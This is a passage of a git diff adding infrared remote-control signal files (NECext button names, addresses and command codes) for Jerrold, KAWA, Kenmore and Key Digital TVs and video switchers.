+command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: PCPM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir new file mode 100644 index 000000000..1ff3965c4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: CATV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: CH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: AB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir b/assets/resources/infrared/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir new file mode 100644 index 000000000..6c1c81b67 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0A 00 00 00 +# +name: TV/TXT +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0B 00 00 00 +# +name: TV/AV +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0C 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0F 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 10 00 00 00 +# +name: info+ +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 11 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 11 00 00 00 +# +name: EXP. +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 14 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 17 00 00 00 +# +name: NORM +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 18 00 00 00 +# +name: HOLD +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 18 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 19 00 00 00 +# +name: MIX +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1A 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1B 00 00 00 +# +name: KEY_R +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1C 00 00 00 +# +name: KEY_G +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1D 00 00 00 +# +name: KEY_Y +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1E 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir b/assets/resources/infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir new file mode 100644 index 000000000..dfa740c67 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 01 00 00 00 +# +name: KEY_SAVE +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 04 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 06 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 09 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 0D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 0E 00 00 00 +# +name: KEY_SHUFFLE +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir new file mode 100644 index 000000000..df578119b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 09 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 52 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 52 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 53 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 53 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 54 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 54 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 55 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 55 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 55 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 57 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 58 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 59 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 5A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 5C 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 61 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 66 00 00 00 +# +name: R1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 71 00 00 00 +# +name: R2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 72 00 00 00 +# +name: R3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir new file mode 100644 index 000000000..32ac79826 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir @@ -0,0 +1,638 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 0A 00 00 00 +# +name: ANS +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 0B 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 0C 00 00 00 +# +name: EXT_12V_CONTROL_ON +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 0D 00 00 00 +# +name: INPUT_SELECT_< +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 0E 00 00 00 +# +name: INPUT_SELECT_> +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 0F 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 10 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 11 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 12 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 13 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 14 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 15 00 00 00 +# +name: EXT_12V_CONTROL_OFF +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 16 00 00 00 +# +name: NP_> +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 17 00 00 00 +# +name: PP_< +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 18 00 00 00 +# +name: SR +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 19 00 00 00 +# +name: R8 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 1A 00 00 00 +# +name: R1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 1C 00 00 00 +# +name: R2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 1D 00 00 00 +# +name: R3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 1E 00 00 00 +# +name: R4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 1F 00 00 00 +# +name: ZO +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 40 00 00 00 +# +name: R5 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 41 00 00 00 +# +name: R6 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 42 00 00 00 +# +name: R7 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 43 00 00 00 +# +name: PA +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 44 00 00 00 +# +name: AR-IN +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 45 00 00 00 +# +name: GB +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 46 00 00 00 +# +name: SH +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 47 00 00 00 +# +name: BR +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 48 00 00 00 +# +name: CO +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 49 00 00 00 +# +name: U3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 51 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 52 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 52 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 53 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 53 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 54 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 54 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 55 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 55 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 56 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 57 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 58 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 59 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 5A 00 00 00 +# +name: U4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 5B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 5C 00 00 00 +# +name: INPUT_> +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 61 00 00 00 +# +name: >_UP +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 61 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 61 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 62 00 00 00 +# +name: POWER_ON_-2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 62 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 63 00 00 00 +# +name: POWER_OFF_-2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 63 00 00 00 +# +name: U1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 64 00 00 00 +# +name: U2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 65 00 00 00 +# +name: INPUT_< +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 66 00 00 00 +# +name: <_DN +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 66 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 66 00 00 00 +# +name: OUT_1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 67 00 00 00 +# +name: OUT_2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 68 00 00 00 +# +name: OUT_3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 69 00 00 00 +# +name: OUT_4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 6A 00 00 00 +# +name: R1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 71 00 00 00 +# +name: R2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 72 00 00 00 +# +name: R3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 73 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 82 13 00 00 +command: A2 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 82 13 00 00 +command: A3 00 00 00 +# +name: VIDEO_MODE +type: parsed +protocol: NECext +address: 82 13 00 00 +command: A4 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 82 13 00 00 +command: A5 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 82 13 00 00 +command: A6 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 82 13 00 00 +command: A7 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 82 13 00 00 +command: A8 00 00 00 +# +name: RESTORE +type: parsed +protocol: NECext +address: 82 13 00 00 +command: A9 00 00 00 +# +name: ALL_MUTE +type: parsed +protocol: NECext +address: 82 13 00 00 +command: AA 00 00 00 +# +name: ALL_RESTORE +type: parsed +protocol: NECext +address: 82 13 00 00 +command: AB 00 00 00 +# +name: VOLUME +type: parsed +protocol: NECext +address: 82 13 00 00 +command: AC 00 00 00 +# +name: BALANCE +type: parsed +protocol: NECext +address: 82 13 00 00 +command: AD 00 00 00 +# +name: BASS +type: parsed +protocol: NECext +address: 82 13 00 00 +command: AE 00 00 00 +# +name: MIDDLE +type: parsed +protocol: NECext +address: 82 13 00 00 +command: AF 00 00 00 +# +name: TREBLE +type: parsed +protocol: NECext +address: 82 13 00 00 +command: B0 00 00 00 +# +name: LIPSYNC +type: parsed +protocol: NECext +address: 82 13 00 00 +command: B1 00 00 00 +# +name: R1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: B2 00 00 00 +# +name: R2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: B3 00 00 00 +# +name: R3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: B4 00 00 00 +# +name: R4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: B5 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: DA 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: DB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: DC 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: DD 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: DE 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: DF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: E0 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: E1 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: E2 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: E3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir new file mode 100644 index 000000000..23815b4f4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 09 00 00 00 +# +name: BRIGHTNESS +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0A 00 00 00 +# +name: IN2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0D 00 00 00 +# +name: CONTRAST +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 10 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 10 00 00 00 +# +name: IN3 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 11 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 12 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 13 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 15 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 16 00 00 00 +# +name: RESOLUTION +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 17 00 00 00 +# +name: PASS +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 18 00 00 00 +# +name: R1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 18 00 00 00 +# +name: IN4 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 19 00 00 00 +# +name: IN1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1A 00 00 00 +# +name: RSRV +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1B 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1D 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1E 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir new file mode 100644 index 000000000..cca508a51 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: ENTER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir new file mode 100644 index 000000000..e377ad186 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 52 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 53 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 54 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 55 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 56 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 57 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 58 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 59 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir new file mode 100644 index 000000000..0233f537a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 52 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 53 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 54 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 55 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir new file mode 100644 index 000000000..23815b4f4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 